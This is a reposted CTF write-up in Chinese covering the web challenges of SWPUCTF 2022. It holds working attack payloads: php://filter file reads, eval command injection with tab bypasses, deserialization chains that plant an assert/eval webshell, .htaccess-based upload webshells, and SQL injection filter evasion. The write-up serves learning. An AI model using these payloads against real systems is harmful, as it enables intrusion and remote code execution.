SWPUCTF 2022新生赛 web部分wp

news2024/11/27 7:34:48 
😋大家好，我是YAy_17，是一枚爱好网安的小白。 

本人水平有限，欢迎各位大佬指点，一起学习💗，一起进步⭐️。

⭐️此后如竟没有炬火，我便是唯一的光。⭐️

目录

[SWPUCTF 2022 新生赛]ez_ez_php

[SWPUCTF 2022 新生赛]ez_rce

[SWPUCTF 2022 新生赛]numgame

[SWPUCTF 2022 新生赛]奇妙的MD5

[SWPUCTF 2022 新生赛]xff

[SWPUCTF 2022 新生赛]webdog1__start

[SWPUCTF 2022 新生赛]1z_unserialize

[SWPUCTF 2022 新生赛]ez_ez_unserialize

[SWPUCTF 2022 新生赛]Ez_upload

[SWPUCTF 2022 新生赛]js_sign

[SWPUCTF 2022 新生赛]ez_sql

[SWPUCTF 2022 新生赛]funny_web

[SWPUCTF 2022 新生赛]ez_1zpop

[SWPUCTF 2022 新生赛]ez_ez_php

substr()函数：substr(string,start,length)

substr() 函数返回字符串的一部分。

注释：如果 start 参数是负数且 length 小于或等于 start，则 length 为 0。

?file=php://filter/read=convert.base64-encode/resource=flag.php

根据回显内容进行base64解码，发现真正的flag在/flag，修改payload即可，将回显内容进行base64解码；得到flag；

[SWPUCTF 2022 新生赛]ez_rce

源码什么都没有，抓个包看一下：发现还是什么都没有；robots.txt文件看一下吧：

访问目标文件：发现

拿工具测试一下就好：

查找flag位置的时候，在根目录下面并没有发现flag，而是在/nss/ctf/flag/flag中：

[SWPUCTF 2022 新生赛]numgame

发现还是看不了源代码，还是抓包看看什么回显：在相应包中发现了js文件：

访问一下看看，文件名有点东西：

在文件内容的最后，发现base64编码的类似flag的东西，base64解码：

首先看到的就是在正则过滤中，没有过滤大小写，因此我们可以通过大写来绕过；其次就是类名加上“::”再加上函数名来访问类中的函数；

http://xxxxx/NsScTf.php?p=Nss2::Ctf //这里要先写Nss::Ctf 回显提示我们类名是Nss2

[SWPUCTF 2022 新生赛]奇妙的MD5

结合题目是有关于md5的，同时界面提示我们：

ffif...?ffifdyop MD5后=='or'6...填上试试先：

过了，看看源码，发现存在着注释：

数组绕过即可；

继续数组绕过即可；

[SWPUCTF 2022 新生赛]xff

抓包修改一下数据包的字段：

[SWPUCTF 2022 新生赛]webdog1__start

源码看一下，抓包再看一下：

这里是传递一个参数为web，web的值经过md5加密之后还是等于（弱类型）web的原值：（0e215962017这个值加密之后还是0e开头）

出现了很多的链接，但是除了第一个链接之外，其他的都404，但是第一个链接打开之后只是一篇文章而已，也不是flag所在的地方啊；抓包看看再：

发现相应包中出现了提示：顺着提示往下做：

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get'])){
    $get=$_GET['get'];
    if(!strstr($get," ")){
        $get = str_ireplace("flag", " ", $get);
        
        if (strlen($get)>18){
            die("This is too long.");
            }
            else{
                eval($get);
          } 
    }else {
        die("nonono"); 
    }
}
?>

strstr()函数：匹配空格是否在变量get中

str_ireplace("flag", " ", $get);将变量中的flag替换为空格；

所以system("ls%09/");空格用%09替换；system("cat%09/f*");

[SWPUCTF 2022 新生赛]1z_unserialize

<?php

class lyh{
     public $url = 'NSSCTF.com';
     public $lt;
     public $lly;
     function __destruct(){
         $a = $this->lt;
         $a($this->lly);
     }

}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?>

看到这里存在着$a($this->lly);便能想到eval($_POST[_]);但是本题目是php5的环境，在此环境下eval不是函数而是一种语法结构；这里我让 public $lt = 'assert'; public $lly = 'eval($_POST[x]);';再进行序列化便可以得到目的：

[SWPUCTF 2022 新生赛]ez_ez_unserialize

 <?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
}

考察wakeup函数的绕过：只要序列化的中的成员数大于实际成员数,即可绕过

<?php
class X{
    public $x ;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if($this->x !== __FILE__){
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
echo serialize(new X("fllllllag.php"));
O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
修改为O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}即可绕过wakeup函数；

[SWPUCTF 2022 新生赛]Ez_upload

该题目在上传文件的时候，发现需要更改MIME类型为：image/jpeg才行，其他都不行，同时文件名的后缀中不允许带有ph；那么就不能上传php3、pht等；尝试.htaccess文件的上传，发现上传成功；思路就有了，先上传.htaccess文件，再将图片马上传，将图片马解析为php即可；

flag在phpinfo中；

 <?php
    session_start();
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
            echo ":D";
            $_SESSION['L1'] = 1;
        }else{
            echo ":C";
        }
    }
    if(isset($_GET['str'])){
        $str = preg_replace('/NSSCTF/',"",$_GET['str']);
        if($str === "NSSCTF"){
            echo "wow";
            $_SESSION['L2'] = 1;
        }else{
            echo $str;
        }
    }
    if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
        if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
            echo "Nice!";
            if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
                if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
                    echo "yoxi!";
                    $_SESSION['L3'] = 1;
                }else{
                    echo "X(";
                }
            }
        }else{
            echo "G";
            echo $_POST['md5_1']."\n".$_POST['md5_2'];
        }
    }
    if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
        include('flag.php');
        echo $flag;
    }
?>

L1 L2 L3全部存在，即可输出flag；三个条件：

  1. GET方式传递参数num，num的长度不超过3并且num的值必须大于999999999，可以用科学计数法9e9；
  2. GET方式传递参数str，str的值会经过preg_replace()函数，将NSSCTF替换为空，可以参数双写绕过；
  3. md5弱类型绕过即可

[SWPUCTF 2022 新生赛]js_sign

发现无论是输入什么都是弹窗fuck off!! 查看网页源代码：

发现在当前目录下，存在着main.js文件，访问该文件：

btoa()函数是js中的base64编码方法，等号后面便是一串经过base64编码的字符串，我们将其解码看下结果：

发现是敲击码；寻找在线解码平台将flag的值进行解码，提供如下的解码平台：

Tap Code - 许愿星

解码后的结果为：

最终的结果是NSSCTF{youfindflagbytapcode}

[SWPUCTF 2022 新生赛]ez_sql

相对安全的方式传参->POST；参数为nss；

POST方式传递参数值为1试试：

判断sql注入的类型：

字符型注入：接下来在判断列数的时候，发现过滤了空格和or，空格用/**/替换，or双写绕过即可；

同时发现union也被过滤，同样还是使用双写便可以绕过：

接下来就是查数据库，表名、列名、flag：

最终发现flag在secret中：

[SWPUCTF 2022 新生赛]funny_web

用户名是NSS；接下来又提示密码是招新群某个人的qq账号；

成功登录之后：

intval()函数：用于获取变量的整数值；所以我们可以传参一个小数如12345.5即可

[SWPUCTF 2022 新生赛]ez_1zpop

<?php
error_reporting(0);
class dxg{
     function fmm(){
        return "nonono";
     }
}
class lt{
     public $impo='hi';
     public $md51='weclome';
     public $md52='to NSS';
     function __construct(){
        $this->impo = new dxg;
     }
     function __wakeup(){
     $this->impo = new dxg;
     return $this->impo->fmm();
     }

     function __toString(){
        if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
            return $this->impo->fmm();
     }
     function __destruct(){
        echo $this;
     }
}
class fin{
     public $a;
     public $url =  'https://www.ctfer.vip';
     public $title;
     function fmm(){
        $b = $this->a;
        $b($this->title);
     }

if(isset($_GET['NSS'])) {
    $Data  =  unserialize($_GET['NSS']);
}else{
     highlight_file(__file__);
}
  1. GET方式传递参数NSS，反序列化NSS
  2. 在类fin中存在着fmm方法，该方法可以执行任意命令；
  3. 类lt中，存在魔术方法tostring，该方法时可以执行fmm方法的；但是需要满足md5弱类型检测；同时变量impo的值需要是fin类；
  4. 因此我们还要让impo变量的值为fin类，同时需要绕过wakeup函数；
$a = new lt();
$a->impo=new fin();
$a->md51='s878926199a';
$a->md52='s155964671a';
$a->impo->a='assert';
$a->impo->title='eval($_POST[x]);';
echo serialize($a);

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/166969.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

linux中使用KubeSphere和集群k8s 部署springboot项目

linux中使用KubeSphere和集群k8s 部署springboot项目

上期已经介绍了单体k8s部署springboot项目&#xff0c;这期讲解集群k8s部署springboot项目 因为部署方式已经在单体中讲过&#xff0c;现在大体粗略讲一下首先看下集群节点&#xff0c;如下所示&#xff1a; 第一步&#xff1a;创建项目----》按照做的项目名称建 创建后&…
阅读更多...
MyCat实现单库分表+代理所有表

MyCat实现单库分表+代理所有表

MyCAT支持水平分片与垂直分片&#xff1a; 水平分片&#xff1a;一个表格的数据分割到多个节点上&#xff0c;按照行分隔。 垂直分片&#xff1a;一个数据库中多个表格A&#xff0c;B&#xff0c;C&#xff0c;A存储到节点1上&#xff0c;B存储到节点2上&#xff0c;C存储到…
阅读更多...
Unity 过场工具(Cutscene)设计（二）

Unity 过场工具(Cutscene)设计（二）

Unity 过场工具(Cutscene)设计&#xff08;二&#xff09; 本章主要分析一下过场一般的必要组成元素&#xff0c;以及在Unity中的制作方案 镜头 通常来说一个表现要求比较高的过场&#xff0c;需要专业的导演进行运镜操作的。 在Unity中官方有一个很好的镜头插件 Cinemachine…
阅读更多...
基于Leaflet的VideoOverlay视频图层叠加实战

基于Leaflet的VideoOverlay视频图层叠加实战

前言在基于二维的场景中&#xff0c;也许会遇到以下的需求。在某交通路口或者重要的监控点&#xff0c;需要将实时或者录制的视频信息叠加在地图上。更有甚者&#xff0c;随着设备通讯方式的增强&#xff0c;无人机等设备可以采集实时数据&#xff0c;实时回传到控制终端&#…
阅读更多...
纵有疾风起，Petterp与他的2022

纵有疾风起，Petterp与他的2022

引言 每逢年末&#xff0c;都要来聊一聊关于今年的各种事情&#xff0c;今昔也不例外:) 与往年不同的是&#xff0c;今天刚搬完家&#xff0c;现在是晚上 1:44 ,正是忙碌一天后比较头痛的时刻。 此刻写点东西&#xff0c;脑子也许会放松一下。&#x1f916; 坐在桌子前&…
阅读更多...
RFID技术应用在服装门店管理

RFID技术应用在服装门店管理

服装行业是一个高度一体化的行业&#xff0c;集设计研发、成衣生产、运输、销售于一体。在这些过程中&#xff0c;传统的服装供应链往往消耗巨大的人力、物力和资金成本&#xff0c;但效果一般。当今市场消费者的需求变幻莫测&#xff0c;时尚潮流日新月异。稍有延误&#xff0…
阅读更多...
从零编写MDK的FLM烧录算法

从零编写MDK的FLM烧录算法

文章目录前言一、将代码中的图片资源下载到外部flash1. 修改分散加载文件2. 添加外部flash算法二、制作FLM文件步骤三、使用STM32CubeMX新建工程前言 上文讲过&#xff0c;当我们要下载编译好的镜像到Flash时&#xff0c;首先要做的一步就是选择合适的Flash下载算法&#xff0…
阅读更多...
WPS Office 2019 版本 excel透视图创建及删除

WPS Office 2019 版本 excel透视图创建及删除

摘要&#xff1a;记录一下在做2022年总结数据时遇到的问题&#xff0c;主要问题有2个&#xff0c;①从飞书多维表格导下来数据后不能求和计算和下拉序号&#xff0c;②excel数据透视表创建及删除。 相关文章&#xff1a; 一、Excel WPS Office 2019 版本 excel透视图创建及删…
阅读更多...
合作升级｜Kyligence 跬智智能分析平台入选华为云联营商品

合作升级｜Kyligence 跬智智能分析平台入选华为云联营商品

近日&#xff0c;Kyligence 跬智智能分析平台正式入选华为云联营商品&#xff0c;成为华为云在数据分析领域的联营合作伙伴。通过联营模式&#xff0c;双方将加深在产品、解决方案等多个领域的合作&#xff0c;携手打造“共生、共创、共营、共赢”的合作生态&#xff0c;为用户…
阅读更多...
[激光原理与应用-65]：激光器-器件 - 多模光纤（宽频光纤）、单模光纤的原理与区别

[激光原理与应用-65]：激光器-器件 - 多模光纤（宽频光纤）、单模光纤的原理与区别

第1章 光纤基础与概述1.1 概述光纤是光导纤维的简写&#xff0c;是一种由玻璃或塑料制成的纤维&#xff0c;可作为光传导工具。传输原理是“光的全反射”。微细的光纤封装在塑料护套中&#xff0c;使得它能够弯曲而不至于断裂。通常&#xff0c;光纤的一端的发射装置使用发光二…
阅读更多...
Spring Boot(五十三)：SpringBoot Actuator之简单实现

Spring Boot(五十三)：SpringBoot Actuator之简单实现

1 场景介绍 对于一个大型的几十个、几百个微服务构成的微服务架构系统&#xff0c;在线上时通常会遇到下面一些问题&#xff0c;比如&#xff1a; 1. 如何知道哪些服务除了问题&#xff0c;如何快速定位&#xff1f; (健康状况&#xff09; 2. 如何统一监控各个微服务的性能指标…
阅读更多...
不确定性量化 （UQ） 可以显著提高预测准确性,在不确定的世界中获得最佳结果昆士兰大学Mike McKerns-中国学者网

不确定性量化 （UQ） 可以显著提高预测准确性,在不确定的世界中获得最佳结果昆士兰大学Mike McKerns-中国学者网

在不确定的世界中获得最佳结果,不确定性量化可以解开成功与失败之间的区别。不确定性量化 &#xff08;UQ&#xff09; 可以显著提高预测准确性&#xff0c;提供设计优化&#xff0c;并在充满未知的世界中促进快速解决方案改进。昆士兰大学的一个机构"不确定性量化基金会&…
阅读更多...
vue3中常用的指令之v-bind和v-on

vue3中常用的指令之v-bind和v-on

一、v-bind指令 一个vue2和vue3之间的不同之处&#xff1a;Vue2中template模板中只能有一个根元素&#xff0c;但是在Vue3中允许template中有多个元素。 1.v-bind的绑定基本属性 某些属性也希望是动态绑定的&#xff0c;比如动态绑定a元素中的href属性。 v-bind可以绑定一个…
阅读更多...
verilog学习笔记- 14)静态数码管显示实验

verilog学习笔记- 14)静态数码管显示实验

目录 简介: 实验任务: 硬件设计: 程序设计: 下载验证: 简介: 数码管也称半导体数码管&#xff0c;它是将若干发光二极管按一定图形排列并封装在一起的一种数码显示器件。常见的数码管如图这种数码管主要被称为八段数码管或 8 字形数码管&#xff0c;可用来显示小数点、数…
阅读更多...
【Linux 基础】

【Linux 基础】

【Linux 基础】 一、 Linux 概述 1. Linux 介绍 UNIX 是一个强大的多用户、多任务操作系统&#xff0c;于1969年在贝尔实验室开发&#xff0c;UNIX 的商标权有国际开放组织&#xff08;The Open Group&#xff09;所拥有&#xff0c;UNIX 操作系统是商业版&#xff0c;需要收…
阅读更多...
【OpenGL学习】Shader和Shader类的抽象

【OpenGL学习】Shader和Shader类的抽象

Shader 本节学习OpenGL中Shader的使用并将其抽象为类&#xff0c;简要介绍OpenGL所使用的着色器语言GLSL。 一、什么是Shader&#xff1f; 参考维基百科中对Shader的定义&#xff1a;着色器 - 维基百科&#xff0c;自由的百科全书 (wikipedia.org) 计算机图形学领域中&…
阅读更多...
SpringBoot处理跨域总结

SpringBoot处理跨域总结

解决跨域的五种方法1、CorsFilter新建一个类Configuration public class CorsConfig {Beanpublic CorsFilter corsFilter() {//1. 添加 CORS配置信息CorsConfiguration config new CorsConfiguration();//放行哪些原始域//springboot版本为2.4.0以前写法config.addAllowedOrig…
阅读更多...
kaggle竞赛 | Instant Gratification

kaggle竞赛 | Instant Gratification

kaggle比赛链接&#xff1a; https://www.kaggle.com/competitions/instant-gratification/data 目录普通方案优胜方案1. 用方差筛选特征2.QDA二次判别分析3.数据分组&#xff08;伪标签&#xff09;4.查看结果赛题总结普通方案 # 数据集路径 INPUT_PATH ../input/import num…
阅读更多...
python学习笔记---进程和线程【廖雪峰】

python学习笔记---进程和线程【廖雪峰】

进程和线程 现在&#xff0c;多核CPU已经非常普及了&#xff0c;但是&#xff0c;即使过去的单核CPU&#xff0c;也可以执行多任务。由于CPU执行代码都是顺序执行的&#xff0c;那么&#xff0c;单核CPU是怎么执行多任务的呢&#xff1f; 答案就是操作系统轮流让各个任务交替…
阅读更多...
ESP-IDF:企业链表例程，实现初始化，插入，打印等功能。

ESP-IDF:企业链表例程，实现初始化，插入，打印等功能。

例程&#xff1a; 简单地写一下企业链表&#xff0c;实现初始化&#xff0c;插入&#xff0c;打印等功能。 /企业链表/ typedef struct LINKNODE09 { // 定义节点 LINKNODE09 *next; } linknode09; // 定义表头 typedef struct LINKLIST09 { // 定义表头 linknode09 head; in…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023